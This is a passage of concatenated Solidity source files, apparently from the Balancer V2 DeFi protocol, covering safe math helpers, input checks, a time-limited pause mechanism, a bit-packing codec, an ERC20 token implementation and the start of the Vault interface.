b; _require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; _require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW); return c; } /** * @dev Returns the largest of two numbers of 256 bits. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers of 256 bits. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; _require(a == 0 || c / a == b, Errors.MUL_OVERFLOW); return c; } function div( uint256 a, uint256 b, bool roundUp ) internal pure returns (uint256) { return roundUp ? divUp(a, b) : divDown(a, b); } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); return a / b; } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { return 1 + (a - 1) / b; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../openzeppelin/IERC20.sol"; import "./BalancerErrors.sol"; library InputHelpers { function ensureInputLengthMatch(uint256 a, uint256 b) internal pure { _require(a == b, Errors.INPUT_LENGTH_MISMATCH); } function ensureInputLengthMatch( uint256 a, uint256 b, uint256 c ) internal pure { _require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH); } function ensureArrayIsSorted(IERC20[] memory array) internal pure { address[] memory addressArray; // solhint-disable-next-line no-inline-assembly assembly { addressArray := array } ensureArrayIsSorted(addressArray); } function ensureArrayIsSorted(address[] memory array) internal pure { if (array.length < 2) { return; } address previous = array[0]; for (uint256 i = 1; i < array.length; ++i) { address current = array[i]; _require(previous < current, Errors.UNSORTED_ARRAY); previous = current; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./BalancerErrors.sol"; import "./ITemporarilyPausable.sol"; /** * @dev Allows for a contract to be paused during an initial period after deployment, disabling functionality. Can be * used as an emergency switch in case a security vulnerability or threat is identified. * * The contract can only be paused during the Pause Window, a period that starts at deployment. It can also be * unpaused and repaused any number of times during this period. This is intended to serve as a safety measure: it lets * system managers react quickly to potentially dangerous situations, knowing that this action is reversible if careful * analysis later determines there was a false alarm. * * If the contract is paused when the Pause Window finishes, it will remain in the paused state through an additional * Buffer Period, after which it will be automatically unpaused forever. This is to ensure there is always enough time * to react to an emergency, even if the threat is discovered shortly before the Pause Window expires. * * Note that since the contract can only be paused within the Pause Window, unpausing during the Buffer Period is * irreversible. */ abstract contract TemporarilyPausable is ITemporarilyPausable { // The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy. // solhint-disable not-rely-on-time uint256 private constant _MAX_PAUSE_WINDOW_DURATION = 90 days; uint256 private constant _MAX_BUFFER_PERIOD_DURATION = 30 days; uint256 private immutable _pauseWindowEndTime; uint256 private immutable _bufferPeriodEndTime; bool private _paused; constructor(uint256 pauseWindowDuration, uint256 bufferPeriodDuration) { _require(pauseWindowDuration <= _MAX_PAUSE_WINDOW_DURATION, Errors.MAX_PAUSE_WINDOW_DURATION); _require(bufferPeriodDuration <= _MAX_BUFFER_PERIOD_DURATION, Errors.MAX_BUFFER_PERIOD_DURATION); uint256 pauseWindowEndTime = block.timestamp + pauseWindowDuration; _pauseWindowEndTime = pauseWindowEndTime; _bufferPeriodEndTime = pauseWindowEndTime + bufferPeriodDuration; } /** * @dev Reverts if the contract is paused. */ modifier whenNotPaused() { _ensureNotPaused(); _; } /** * @dev Returns the current contract pause status, as well as the end times of the Pause Window and Buffer * Period. */ function getPausedState() external view override returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ) { paused = !_isNotPaused(); pauseWindowEndTime = _getPauseWindowEndTime(); bufferPeriodEndTime = _getBufferPeriodEndTime(); } /** * @dev Sets the pause state to `paused`. The contract can only be paused until the end of the Pause Window, and * unpaused until the end of the Buffer Period. * * Once the Buffer Period expires, this function reverts unconditionally. */ function _setPaused(bool paused) internal { if (paused) { _require(block.timestamp < _getPauseWindowEndTime(), Errors.PAUSE_WINDOW_EXPIRED); } else { _require(block.timestamp < _getBufferPeriodEndTime(), Errors.BUFFER_PERIOD_EXPIRED); } _paused = paused; emit PausedStateChanged(paused); } /** * @dev Reverts if the contract is paused. */ function _ensureNotPaused() internal view { _require(_isNotPaused(), Errors.PAUSED); } /** * @dev Reverts if the contract is not paused. */ function _ensurePaused() internal view { _require(!_isNotPaused(), Errors.NOT_PAUSED); } /** * @dev Returns true if the contract is unpaused. * * Once the Buffer Period expires, the gas cost of calling this function is reduced dramatically, as storage is no * longer accessed. */ function _isNotPaused() internal view returns (bool) { // After the Buffer Period, the (inexpensive) timestamp check short-circuits the storage access. return block.timestamp > _getBufferPeriodEndTime() || !_paused; } // These getters lead to reduced bytecode size by inlining the immutable variables in a single place. function _getPauseWindowEndTime() private view returns (uint256) { return _pauseWindowEndTime; } function _getBufferPeriodEndTime() private view returns (uint256) { return _bufferPeriodEndTime; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Library for encoding and decoding values stored inside a 256 bit word. Typically used to pack multiple values in * a single storage slot, saving gas by performing less storage accesses. * * Each value is defined by its size and the least significant bit in the word, also known as offset. For example, two * 128 bit values may be encoded in a word by assigning one an offset of 0, and the other an offset of 128. * * We could use Solidity structs to pack values together in a single storage slot instead of relying on a custom and * error-prone library, but unfortunately Solidity only allows for structs to live in either storage, calldata or * memory. Because a memory struct uses not just memory but also a slot in the stack (to store its memory location), * using memory for word-sized values (i.e. of 256 bits or less) is strictly less gas performant, and doesn't even * prevent stack-too-deep issues. This is compounded by the fact that Balancer contracts typically are memory-intensive, * and the cost of accesing memory increases quadratically with the number of allocated words. Manual packing and * unpacking is therefore the preferred approach. */ library WordCodec { // Masks are values with the least significant N bits set. They can be used to extract an encoded value from a word, // or to insert a new one replacing the old. uint256 private constant _MASK_1 = 2**(1) - 1; uint256 private constant _MASK_5 = 2**(5) - 1; uint256 private constant _MASK_7 = 2**(7) - 1; uint256 private constant _MASK_10 = 2**(10) - 1; uint256 private constant _MASK_16 = 2**(16) - 1; uint256 private constant _MASK_22 = 2**(22) - 1; uint256 private constant _MASK_31 = 2**(31) - 1; uint256 private constant _MASK_32 = 2**(32) - 1; uint256 private constant _MASK_53 = 2**(53) - 1; uint256 private constant _MASK_64 = 2**(64) - 1; uint256 private constant _MASK_96 = 2**(96) - 1; uint256 private constant _MASK_128 = 2**(128) - 1; uint256 private constant _MASK_192 = 2**(192) - 1; // Largest positive values that can be represented as N bits signed integers. int256 private constant _MAX_INT_22 = 2**(21) - 1; int256 private constant _MAX_INT_53 = 2**(52) - 1; // In-place insertion /** * @dev Inserts a boolean value shifted by an offset into a 256 bit word, replacing the old value. Returns the new * word. */ function insertBool( bytes32 word, bool value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_1 << offset)); return clearedWord | bytes32(uint256(value ? 1 : 0) << offset); } // Unsigned /** * @dev Inserts a 5 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` only uses its least significant 5 bits, otherwise it may overwrite sibling bytes. */ function insertUint5( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_5 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 7 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` only uses its least significant 7 bits, otherwise it may overwrite sibling bytes. */ function insertUint7( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_7 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 10 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` only uses its least significant 10 bits, otherwise it may overwrite sibling bytes. */ function insertUint10( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_10 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 16 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. * Returns the new word. * * Assumes `value` only uses its least significant 16 bits, otherwise it may overwrite sibling bytes. */ function insertUint16( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_16 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 31 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 31 bits. */ function insertUint31( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_31 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 32 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` only uses its least significant 32 bits, otherwise it may overwrite sibling bytes. */ function insertUint32( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_32 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 64 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` only uses its least significant 64 bits, otherwise it may overwrite sibling bytes. */ function insertUint64( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_64 << offset)); return clearedWord | bytes32(value << offset); } // Signed /** * @dev Inserts a 22 bits signed integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 22 bits. */ function insertInt22( bytes32 word, int256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_22 << offset)); // Integer values need masking to remove the upper bits of negative values. return clearedWord | bytes32((uint256(value) & _MASK_22) << offset); } // Bytes /** * @dev Inserts 192 bit shifted by an offset into a 256 bit word, replacing the old value. Returns the new word. * * Assumes `value` can be represented using 192 bits. */ function insertBits192( bytes32 word, bytes32 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_192 << offset)); return clearedWord | bytes32((uint256(value) & _MASK_192) << offset); } // Encoding // Unsigned /** * @dev Encodes an unsigned integer shifted by an offset. This performs no size checks: it is up to the caller to * ensure that the values are bounded. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeUint(uint256 value, uint256 offset) internal pure returns (bytes32) { return bytes32(value << offset); } // Signed /** * @dev Encodes a 22 bits signed integer shifted by an offset. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeInt22(int256 value, uint256 offset) internal pure returns (bytes32) { // Integer values need masking to remove the upper bits of negative values. return bytes32((uint256(value) & _MASK_22) << offset); } /** * @dev Encodes a 53 bits signed integer shifted by an offset. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeInt53(int256 value, uint256 offset) internal pure returns (bytes32) { // Integer values need masking to remove the upper bits of negative values. return bytes32((uint256(value) & _MASK_53) << offset); } // Decoding /** * @dev Decodes and returns a boolean shifted by an offset from a 256 bit word. */ function decodeBool(bytes32 word, uint256 offset) internal pure returns (bool) { return (uint256(word >> offset) & _MASK_1) == 1; } // Unsigned /** * @dev Decodes and returns a 5 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint5(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_5; } /** * @dev Decodes and returns a 7 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint7(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_7; } /** * @dev Decodes and returns a 10 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint10(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_10; } /** * @dev Decodes and returns a 16 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint16(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_16; } /** * @dev Decodes and returns a 31 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint31(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_31; } /** * @dev Decodes and returns a 32 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint32(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_32; } /** * @dev Decodes and returns a 64 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint64(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_64; } /** * @dev Decodes and returns a 96 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint96(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_96; } /** * @dev Decodes and returns a 128 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint128(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_128; } // Signed /** * @dev Decodes and returns a 22 bits signed integer shifted by an offset from a 256 bit word. */ function decodeInt22(bytes32 word, uint256 offset) internal pure returns (int256) { int256 value = int256(uint256(word >> offset) & _MASK_22); // In case the decoded value is greater than the max positive integer that can be represented with 22 bits, // we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit // representation. return value > _MAX_INT_22 ? (value | int256(~_MASK_22)) : value; } /** * @dev Decodes and returns a 53 bits signed integer shifted by an offset from a 256 bit word. */ function decodeInt53(bytes32 word, uint256 offset) internal pure returns (int256) { int256 value = int256(uint256(word >> offset) & _MASK_53); // In case the decoded value is greater than the max positive integer that can be represented with 53 bits, // we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit // representation. return value > _MAX_INT_53 ? (value | int256(~_MASK_53)) : value; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; import "./IERC20.sol"; import "./SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, Errors.ERC20_DECREASED_ALLOWANCE_BELOW_ZERO) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { _require(sender != address(0), Errors.ERC20_TRANSFER_FROM_ZERO_ADDRESS); _require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_BALANCE); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { _require(account != address(0), Errors.ERC20_BURN_FROM_ZERO_ADDRESS); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, Errors.ERC20_BURN_EXCEEDS_BALANCE); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/IAuthentication.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/ISignaturesValidator.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/ITemporarilyPausable.sol"; import "@balancer-labs/v2-solidity-utils/contracts/misc/IWETH.sol"; import "./IAsset.sol"; import "./IAuthorizer.sol"; import "./IFlashLoanRecipient.sol"; import "./IProtocolFeesCollector.sol"; pragma solidity ^0.7.0; /** * @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that * don't override one of these declarations. */ interface IVault is ISignaturesValidator, ITemporarilyPausable, IAuthentication { // Generalities about the Vault: // // - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are // transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling // `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by // calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning // a boolean value: in these scenarios, a non-reverting call is assumed to be successful. // // - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g. // while execution control is transferred to a token contract during a swap) will result in a revert. View // functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results. // Contracts calling view functions in the Vault must make sure the Vault has not already been entered. // // - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools. // Authorizer // // Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists // outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller // can perform a given action. /** * @dev Returns the Vault's Authorizer. */ function getAuthorizer() external view returns (IAuthorizer); /** * @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this. * * Emits an `AuthorizerChanged` event. */ function setAuthorizer(IAuthorizer newAuthorizer) external; /** * @dev Emitted when a new authorizer is set by `setAuthorizer`. */ event AuthorizerChanged(IAuthorizer indexed newAuthorizer); // Relayers // // Additionally, it is possible for an account to perform certain actions on behalf of another one, using their // Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions, // and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield // this power, two things must occur: // - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This // means that Balancer governance must approve each individual contract to act as a relayer for the intended // functions. // - Each user must approve the relayer to act on their behalf. // This double protection means users cannot be tricked into approving malicious relayers (because they will not // have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised // Authorizer or governance drain user funds, since they would also need to be approved by each individual user. /** * @dev Returns true if `user` has approved `relayer` to act as a relayer for them. */ function hasApprovedRelayer(address user, address relayer) external view returns (bool); /** * @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise. * * Emits a `RelayerApprovalChanged` event. */ function setRelayerApproval( address sender, address relayer, bool approved ) external; /** * @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`. */ event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved); // Internal Balance // // Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later // transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination // when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced // gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users. // // Internal Balance management features batching, which means a single contract call can be used to perform multiple // operations of different kinds, with different senders and recipients, at once. /** * @dev Returns `user`'s Internal Balance for a set of tokens. */ function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory); /** * @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer) * and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as * it lets integrators reuse a user's Vault allowance. * * For each operation, if the caller is not `sender`, it must be an authorized relayer for them. */ function manageUserBalance(UserBalanceOp[] memory ops) external payable; /** * @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received without manual WETH wrapping or unwrapping. */ struct UserBalanceOp { UserBalanceOpKind kind; IAsset asset; uint256 amount; address sender; address payable recipient; } // There are four possible operations in `manageUserBalance`: // // - DEPOSIT_INTERNAL // Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding // `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`. // // ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped // and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is // relevant for relayers). // // Emits an `InternalBalanceChanged` event. // // // - WITHDRAW_INTERNAL // Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`. // // ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send // it to the recipient as ETH. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_INTERNAL // Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`. // // Reverts if the ETH sentinel value is passed. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_EXTERNAL // Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by // relayers, as it lets them reuse a user's Vault allowance. // // Reverts if the ETH sentinel value is passed. // // Emits an `ExternalBalanceTransfer` event. enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL } /** * @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through * interacting with Pools using Internal Balance. * * Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH * address. */ event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta); /** * @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account. */ event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount); // Pools // // There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced // functionality: // // - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the // balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads), // which increase with the number of registered tokens. // // - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the // balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted // constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are // independent of the number of registered tokens. // // - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like // minimal swap info Pools, these are called via IMinimalSwapInfoPool. enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN } /** * @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which * is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be * changed. * * The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`, * depending on the chosen 